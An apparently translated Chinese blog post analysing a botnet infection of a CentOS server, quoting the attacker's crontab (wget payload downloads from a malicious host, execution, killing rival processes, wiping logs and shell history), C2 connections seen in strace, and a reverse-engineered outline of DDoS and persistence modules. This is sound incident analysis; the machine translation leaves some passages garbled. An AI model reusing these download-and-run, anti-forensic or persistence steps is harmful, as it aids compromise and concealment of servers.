感觉分析的非常好,所以决定翻译出来,希望和大家多多交流O(∩_∩)O~
转载请注明出处:http://blog.csdn.net/u010484477 O(∩_∩)O谢谢
keyword:病毒。linux,信息安全
我昨天写的日志里面提到,家用路由器在x86的CentOS系统下奇怪的自己行动,像是在自己载入处理器。
于是我决定爬上去看看。在那里发生了什么,然后我立即意识到有人爬到server和挂在进程中的dgnfd564sdf.com。主要是以下几个方面atddd,cupsdd,cupsddh, ksapdd, kysapdd, skysapdd , xfsdxd等等
root 4741 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/sksapdroot 4753 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/xfsdxroot 4756 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/cupsddroot 4757 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/kysapdroot 4760 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/ksapdroot 4764 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/atddroot 4767 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/skysapd启动分析:
起初我摸索着看。究竟是什么让我的电脑如此的妥协。第一件事,我想到/ etc / rc.local检查。有例如以下:
cd /etc;./ksapddcd /etc;./kysapddcd /etc;./atdddcd /etc;./ksapddcd /etc;./skysapddcd /etc;./xfsdxd“嗯,我想从root那下手。就像这样:
# crontab -e# Each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task## To define the time you can provide concrete values for# minute (m), hour (h), day of month (dom), month (mon),# and day of week (dow) or use '*' in these fields (for 'any').## Notice that tasks will be started based on the cron's system# daemon's notion of time and timezones.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task## To define the time you can provide concrete values for# minute (m), hour (h), day of month (dom), month (mon),# and day of week (dow) or use '*' in these fields (for 'any').## Notice that tasks will be started based on the cron's system# daemon's notion of time and timezones.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task## To define the time you can provide concrete values for# minute (m), hour (h), day of month (dom), month (mon),# and day of week (dow) or use '*' in these fields (for 'any').## Notice that tasks will be started based on the cron's system# daemon's notion of time and timezones.## Output of the crontab jobs (including errors) is sent through# email to the user the crontab file belongs to (unless redirected).## Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task## To define the time you can provide concrete values for# minute (m), hour (h), day of month (dom), month (mon),…*/1 * * * * killall -9 nfsd4…# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task## To define the time you can provide concrete values for# minute (m), hour (h), day of month (dom), month (mon),# and day of week (dow) or use '*' in these fields (for 'any').## Notice that tasks will be started based on the cron's system# daemon's notion of time and timezones.# Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.…*/1 * * * * killall -9 profild.key…# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task## To define the time you can provide concrete values for# minute (m), hour (h), day of month (dom), month (mon),# and day of week (dow) or use '*' in these fields (for 'any').## Notice that tasks will be started based on the cron's system…*/1 * * * * killall -9 DDosl*/1 * * * * killall -9 lengchao32*/1 * * * * killall -9 b26*/1 * * * * killall -9 codelove*/1 * * * * killall -9 32*/1 * * * * killall -9 64*/1 * * * * killall -9 new6*/1 * * * * killall -9 new4*/1 * * * * killall -9 node24*/1 * * * * killall -9 freeBSD*/99 * * * * killall -9 kysapd*/98 * * * * killall -9 atdd*/97 * * * * killall -9 kysapd*/96 * * * * killall -9 skysapd*/95 * * * * killall -9 xfsdx*/94 * * * * killall -9 ksapd…# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task## To define the time you can provide concrete values for# minute (m), hour (h), day of month (dom), month (mon),# and day of week (dow) or use '*' in these fields (for 'any').#…*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd*/120 * * * * cd /root;rm -rf dir nohup.out…# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line…*/360 * * * * cd /etc;rm -rf dir atdd*/360 * * * * cd /etc;rm -rf dir ksapd*/360 * * * * cd /etc;rm -rf dir kysapd*/360 * * * * cd /etc;rm -rf dir skysapd*/360 * * * * cd /etc;rm -rf dir sksapd*/360 * * * * cd /etc;rm -rf dir xfsdx*/1 * * * * cd /etc;rm -rf dir cupsdd.**/1 * * * * cd /etc;rm -rf dir atdd.**/1 * * * * cd /etc;rm -rf dir ksapd.**/1 * * * * cd /etc;rm -rf dir kysapd.**/1 * * * * cd /etc;rm -rf dir skysapd.**/1 * * * * cd /etc;rm -rf dir sksapd.**/1 * * * * cd /etc;rm -rf dir xfsdx.**/1 * * * * chmod 7777 /etc/atdd*/1 * * * * chmod 7777 /etc/cupsdd*/1 * * * * chmod 7777 /etc/ksapd*/1 * * * * chmod 7777 /etc/kysapd*/1 * * * * chmod 7777 /etc/skysapd*/1 * * * * chmod 7777 /etc/sksapd*/1 * * * * chmod 7777 /etc/xfsdx*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&…# Edit this file to introduce tasks to be run by cron.## Each task to run has to be defined through a single line…*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&*/1 * * * * echo "unset MAILCHECK" >> /etc/profile*/1 * * * * rm -rf /root/.bash_history*/1 * * * * touch /root/.bash_history*/1 * * * * history -r*/1 * * * * cd /var/log > dmesg */1 * * * * cd /var/log > auth.log */1 * * * * cd /var/log > alternatives.log */1 * * * * cd /var/log > boot.log */1 * * * * cd /var/log > btmp */1 * * * * cd /var/log > cron ……*/1 * * * * cd /var/log > cups */1 * * * * cd /var/log > daemon.log */1 * * * * cd /var/log > dpkg.log */1 * * * * cd /var/log > faillog */1 * * * * cd /var/log > kern.log */1 * * * * cd /var/log > lastlog*/1 * * * * cd /var/log > maillog */1 * * * * cd /var/log > user.log */1 * * * * cd /var/log > Xorg.x.log */1 * * * * cd /var/log > anaconda.log */1 * * * * cd /var/log > yum.log */1 * * * * cd /var/log > secure*/1 * * * * cd /var/log > wtmp*/1 * * * * cd /var/log > utmp */1 * * * * cd /var/log > messages*/1 * * * * cd /var/log > spooler*/1 * * * * cd /var/log > sudolog*/1 * * * * cd /var/log > aculog*/1 * * * * cd /var/log > access-log*/1 * * * * cd /root > .bash_history*/1 * * * * history -c…# Edit this file to introduce tasks to be run by cron.## Edit this file to introduce tasks to be run by cron.# Edit this file to introduce tasks to be run by cron.哦。
他是183кб4036大小,行。
你见过183кб crontab的大小吗?就像我所示这样。
当我进入到server,这些过程已经不是什么都不做(不被处理器,没有使用网络)。他们已经决定停止运行,恢复业务,不让这些现有的特征一直存在,防止被人发现。他们的strace命令就是这种:
[root@Fatalsrv etc]# strace -p 3312Process 3312 attached - interrupt to quit[ Process PID=3312 runs in 32 bit mode. ]restart_syscall(<... resuming interrupted call ...>) = 0socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)fcntl64(3, F_SETFL, O_RDWR) = 0setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)close(3) = 0nanosleep({ 15, 0}, NULL) = 0socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)fcntl64(3, F_SETFL, O_RDWR) = 0setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)close(3) = 0nanosleep({ 15, 0}, [root@Fatalsrv etc]# strace -p 3268Process 3268 attached - interrupt to quit[ Process PID=3268 runs in 32 bit mode. ]recv(3, 0xfff19338, 4, 0) = -1 ECONNRESET (Connection reset by peer)close(3) = 0futex(0x816e8a8, FUTEX_WAKE, 1) = 1futex(0x816e8a4, FUTEX_WAKE, 1) = 1nanosleep({ 15, 0}, NULL) = 0socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress)fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)fcntl64(3, F_SETFL, O_RDWR) = 0setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0recv(3, "\4\0\0\0", 4, 0) = 4setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0recv(3, "\4\0\0\0", 4, 0) = 4setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0recv(3, ^C在这个过程看起来他们差点儿什么都没做,仅仅是偶尔进行的数据採集。当然。他们也刷了刷/ etc / rc.local crontab,这些可运行文件(他们都有SUID位,使得他们有能力进行他们想做的事,可是他为什么没有删除,也没有改变?)。仅仅是刷了/ etc /profileProcess 3268 detached
unset MAILCHECK
这意味着在计算机上的僵尸网络是大约7小时。可能实际上没有那么多。但不低。
如今须要检查是否已改动不论什么系统文件。在CentOS这足够的运行:
rpm -Va我非常高兴该命令输出了和我预想一样的东西:
[root@Fatalsrv ~]# rpm -VaS.5....T. c /etc/ppp/chap-secretsS.5....T. c /etc/issueS.5....T. c /etc/crontabS.5....T. c /etc/nagiosgraph/access.confS.5....T. c /etc/nagiosgraph/nagiosgraph.conf.M....... /usr/lib/nagiosgraph/cgi-bin/show.cgi.M....... /usr/lib/nagiosgraph/cgi-bin/showconfig.cgi.M....... /usr/lib/nagiosgraph/cgi-bin/showgraph.cgi.M....... /usr/lib/nagiosgraph/cgi-bin/showgroup.cgi.M....... /usr/lib/nagiosgraph/cgi-bin/showhost.cgi.M....... /usr/lib/nagiosgraph/cgi-bin/showservice.cgi.M....... /usr/lib/nagiosgraph/cgi-bin/testcolor.cgi.M....... /usr/share/nagiosgraph/htdocs/nagiosgraph.css.M....... /usr/share/nagiosgraph/htdocs/nagiosgraph.jsS.5....T. /var/log/nagiosgraph/nagiosgraph-cgi.logS.5....T. /var/log/nagiosgraph/nagiosgraph.logmissing /usr/java/jre1.7.0_40/lib/install.jar....L.... /lib/modules/2.6.32-358.2.1.el6.x86_64/buildS.5....T. c /etc/tor/torrc.M....... /.......T. c /etc/ppp/options.pptpdS.5....T. c /etc/pptpd.conf....L.... c /etc/pam.d/fingerprint-auth....L.... c /etc/pam.d/password-auth....L.... c /etc/pam.d/smartcard-auth....L.... c /etc/pam.d/system-authS.5....T. c /etc/rsyslog.confS.5....T. c /etc/rc.d/rc.local..5....T. c /etc/sysctl.confS.5....T. c /etc/vsftpd/vsftpd.conf.M....... /var/ftp/pub..5....T. c /etc/sysconfig/PlexMediaServer.......T. /usr/lib/plexmediaserver/start.shS.5....T. c /etc/sysconfig/lm_sensorsS.5....T. c /etc/php.iniS.5....T. c /etc/httpd/conf/httpd.conf.......T. /etc/rc.d/init.d/deluge-daemonS.5....T. c /etc/cacti/db.phpS.5....T. c /etc/cron.d/cactiS.5....T. c /etc/httpd/conf.d/cacti.conf.M....... /usr/share/cacti.M....... /usr/share/cacti/about.php.M....... /usr/share/cacti/auth_changepassword.php.M....... /usr/share/cacti/auth_login.php.M....... /usr/share/cacti/cdef.php.M....... /usr/share/cacti/cmd.php.M....... /usr/share/cacti/color.php.M....... /usr/share/cacti/data_input.php.M....... /usr/share/cacti/data_queries.php.M....... /usr/share/cacti/data_sources.php.M....... /usr/share/cacti/data_templates.php.M....... /usr/share/cacti/gprint_presets.php.M....... /usr/share/cacti/graph.php.M....... /usr/share/cacti/graph_image.php.M....... /usr/share/cacti/graph_settings.php.M....... /usr/share/cacti/graph_templates.php.M....... /usr/share/cacti/graph_templates_inputs.php.M....... /usr/share/cacti/graph_templates_items.php.M....... /usr/share/cacti/graph_view.php.M....... /usr/share/cacti/graph_xport.php.M....... /usr/share/cacti/graphs.php.M....... /usr/share/cacti/graphs_items.php.M....... /usr/share/cacti/graphs_new.php.M....... /usr/share/cacti/host.php.M....... /usr/share/cacti/host_templates.php.M....... /usr/share/cacti/images.M....... /usr/share/cacti/images/arrow.gif.M....... /usr/share/cacti/images/auth_deny.gif.M....... /usr/share/cacti/images/auth_login.gif.M....... /usr/share/cacti/images/auth_logout.gif.M....... /usr/share/cacti/images/button_add.gif.M....... /usr/share/cacti/images/button_cancel.gif.M....... /usr/share/cacti/images/button_cancel2.gif.M....... /usr/share/cacti/images/button_clear.gif.M....... /usr/share/cacti/images/button_colapse_all.gif.M....... /usr/share/cacti/images/button_create.gif.M....... /usr/share/cacti/images/button_default.gif.M....... /usr/share/cacti/images/button_delete.gif.M....... /usr/share/cacti/images/button_expand_all.gif.M....... /usr/share/cacti/images/button_export.gif.M....... /usr/share/cacti/images/button_go.gif.M....... /usr/share/cacti/images/button_help.gif.M....... /usr/share/cacti/images/button_import.gif.M....... /usr/share/cacti/images/button_no.gif.M....... /usr/share/cacti/images/button_purge.gif.M....... /usr/share/cacti/images/button_refresh.gif.M....... /usr/share/cacti/images/button_save.gif.M....... /usr/share/cacti/images/button_view.gif.M....... /usr/share/cacti/images/button_yes.gif.M....... /usr/share/cacti/images/cacti_about_logo.gif.M....... /usr/share/cacti/images/cacti_backdrop.gif.M....... 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/usr/share/cacti/templates_export.php.M....... /usr/share/cacti/templates_import.php.M....... /usr/share/cacti/tree.php.M....... /usr/share/cacti/user_admin.php.M....... /usr/share/cacti/utilities.php.M....... /var/lib/cacti.M....... /var/lib/cacti/cli.M....... /var/lib/cacti/cli/add_data_query.php.M....... /var/lib/cacti/cli/add_device.php.M....... /var/lib/cacti/cli/add_graph_template.php.M....... /var/lib/cacti/cli/add_graphs.php.M....... /var/lib/cacti/cli/add_perms.php.M....... /var/lib/cacti/cli/add_tree.php.M....... /var/lib/cacti/cli/analyze_database.php.M....... /var/lib/cacti/cli/convert_innodb.php.M....... /var/lib/cacti/cli/copy_user.php.M....... /var/lib/cacti/cli/data_template_associate_rra.php.M....... /var/lib/cacti/cli/host_update_template.php.M....... /var/lib/cacti/cli/import_template.php.M....... /var/lib/cacti/cli/poller_data_sources_reapply_names.php.M....... /var/lib/cacti/cli/poller_graphs_reapply_names.php.M....... /var/lib/cacti/cli/poller_output_empty.php.M....... /var/lib/cacti/cli/poller_reindex_hosts.php.M....... /var/lib/cacti/cli/rebuild_poller_cache.php.M....... /var/lib/cacti/cli/reorder_data_query.php.M....... /var/lib/cacti/cli/repair_database.php.M....... /var/lib/cacti/cli/repair_templates.php.M....... /var/lib/cacti/cli/structure_rra_paths.php.M....... /var/lib/cacti/cli/upgrade_database.php.M....... /var/lib/cacti/rra.M....... /var/lib/cacti/scripts.M....... /var/lib/cacti/scripts/3com_cable_modem.pl.M....... /var/lib/cacti/scripts/diskfree.pl.M....... /var/lib/cacti/scripts/diskfree.sh.M....... /var/lib/cacti/scripts/linux_memory.pl.M....... /var/lib/cacti/scripts/loadavg.pl.M....... /var/lib/cacti/scripts/loadavg_multi.pl.M....... /var/lib/cacti/scripts/ping.pl.M....... /var/lib/cacti/scripts/query_host_cpu.php.M....... /var/lib/cacti/scripts/query_host_partitions.php.M....... /var/lib/cacti/scripts/query_unix_partitions.pl.M....... /var/lib/cacti/scripts/sql.php.M....... /var/lib/cacti/scripts/ss_fping.php.M....... /var/lib/cacti/scripts/ss_host_cpu.php.M....... /var/lib/cacti/scripts/ss_host_disk.php.M....... /var/lib/cacti/scripts/ss_sql.php.M....... /var/lib/cacti/scripts/unix_processes.pl.M....... /var/lib/cacti/scripts/unix_tcp_connections.pl.M....... /var/lib/cacti/scripts/unix_users.pl.M....... /var/lib/cacti/scripts/weatherbug.pl.M....... /var/lib/cacti/scripts/webhits.plS.5....T. /var/log/cacti/cacti.logS.5....T. c /etc/ntop.conf.......T. c /etc/avahi/hostsS.5....T. c /etc/netatalk/AppleVolumes.defaultS.5....T. c /etc/netatalk/afpd.confS.5....T. c /etc/netatalk/netatalk.confS.5....T. c /etc/httpd/conf.d/nagios.confS.5....T. c /etc/nagios/nagios.cfgS.5....T. c /etc/nagios/objects/commands.cfgS.5....T. c /etc/nagios/objects/localhost.cfgS.5....T. c /etc/sysconfig/ntpdS.5....T. c /etc/profileSM5..UGT. c /etc/snmp/snmpd.confS.5....T. c /etc/sysconfig/iptables-config.......T. c /etc/avahi/avahi-dnsconfd.actionS.5....T. c /etc/dnsmasq.conf
由于系统进程没有被隐藏。我推測。在这里能够不使用不论什么的rootkit的一定会自信地说。系统是清白的
关于的6othete搜索信息:
第一件事。我開始寻找某种关于它的信息ботнете。寻找名叫域。代表从crontab文件和线。
立马找了一些资料@ forums.debian.net
@ askubuntu.com
@ hackervisions.org @ archlinuxarm.org总的来说,没有什么有趣的或新的。
研究ботнета文件
随后,我利用了程序文件。以了解很多其它关于这些可运行文件:
atddd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not strippedcupsdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not strippedcupsddh: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, strippedksapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not strippedkysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not strippedskysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not strippedxfsdxd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not strippedNot剥离!
这种消息!
不知为什么我喜欢和我的第一件事cupsdd文件,上传了他,而不是atddd。自己也不知道为什么。但这是全然正确的。
盖茨
所以。“Gates»cupsdd模块。603170ad361f6e098c8681ed264155eb 1714fd31cc931e2a0eb97d25a076567af45dc6d8
他做的是同样的。他如何做的呢?这是我们用IDA Pro来回答的,比如。这个模块想做什么?
试图初始化自己
RSA数据的解压缩,在我的情况下,是这样:
116.10.189.246:30000:1:1:h:578856:579372:579888指定的变量例如以下:
g_strConnTgt=116.10.189.246g_iGatsPort=30000g_iGatsIsFx=1g_iIsService=1g_strBillTail=hg_strCryptStart=578856g_strDStart=579372g_strNStart=579888參数须要确定RSA的情况下更新模块。
***“Bill»试图安装模块
检查是否已经有了gates模块却没有执行。假设没有的话。将PID存储在文件里的锁定在 / TMP / bill.lock中
找到一条路径,存储在当前的EXE。通过阅读/ proc / % d / exe路径,分配,Bill尾部 '加入',расшифрованного他在那里打开记录文件和记录信息
并启动一个新的文件。##守护进程的功能在这里体现到了。引起ребиндитstdout和stderr上当前的标准输入,/ dev /null
##检查是否他自己(模块,执行“Gates»)通过检查文件/ TMP / gates.lock。
假设执行的话,盖茨结束。
##在“加入распакованныйBill»自己主动载入模块的init脚本наипростейшегоsysvinit通过建立在/ etc / init.d / c。名为“DbSecuritySpt»类:
#!/bin/bash/path/to/bill创建在/etc/rc [1-5]。D / 97dbsecurityspt文件夹下:
##启动MainProcess()函数
读关于系统的基本信息,CPU,内存,网络地图
比尔
“Bill»- DDoS模块的模块。在我的情况下,被称为“cupsddh”
@@@对善于攻击主机的TCP,UDP,ICMP和DNSамплификации方法。
CPU会限制自己的资源
@@@读关于系统的基本信息,CPU,内存。网络地图上。винчестерах。
@@@关于DNS读取信息。
@@@«载入模块/usr/lib xpacket.ko
@@@写下自己的/ usr / lib / libamplify.so
我開始寻找他怎样能够接收从主模块传来的命令以进行攻击
“стучащий»模块
ksapdd -将文件的统计信息发送给主server。
他是个缝在server和port的程序。在我的情况下,这是121.12.110.96:10991解码的下的结果:Kysapdd skysapdd, file, and atddd ksapdd xfsdxd is a copy,but the first connects to 112.90.252.76:10991 10991 112.90.22.197,the two ,third ,four connects to 116.10.189.246:10991, and the 202.103.178.76:10991
结论
嗯,经历了这一切,我们更应加强一些表面的重点管理的server,照应好自己的server
僵尸网络,Linux,反project这是所有的。发送的最后一句话:
Do you still remember the reason why you are here?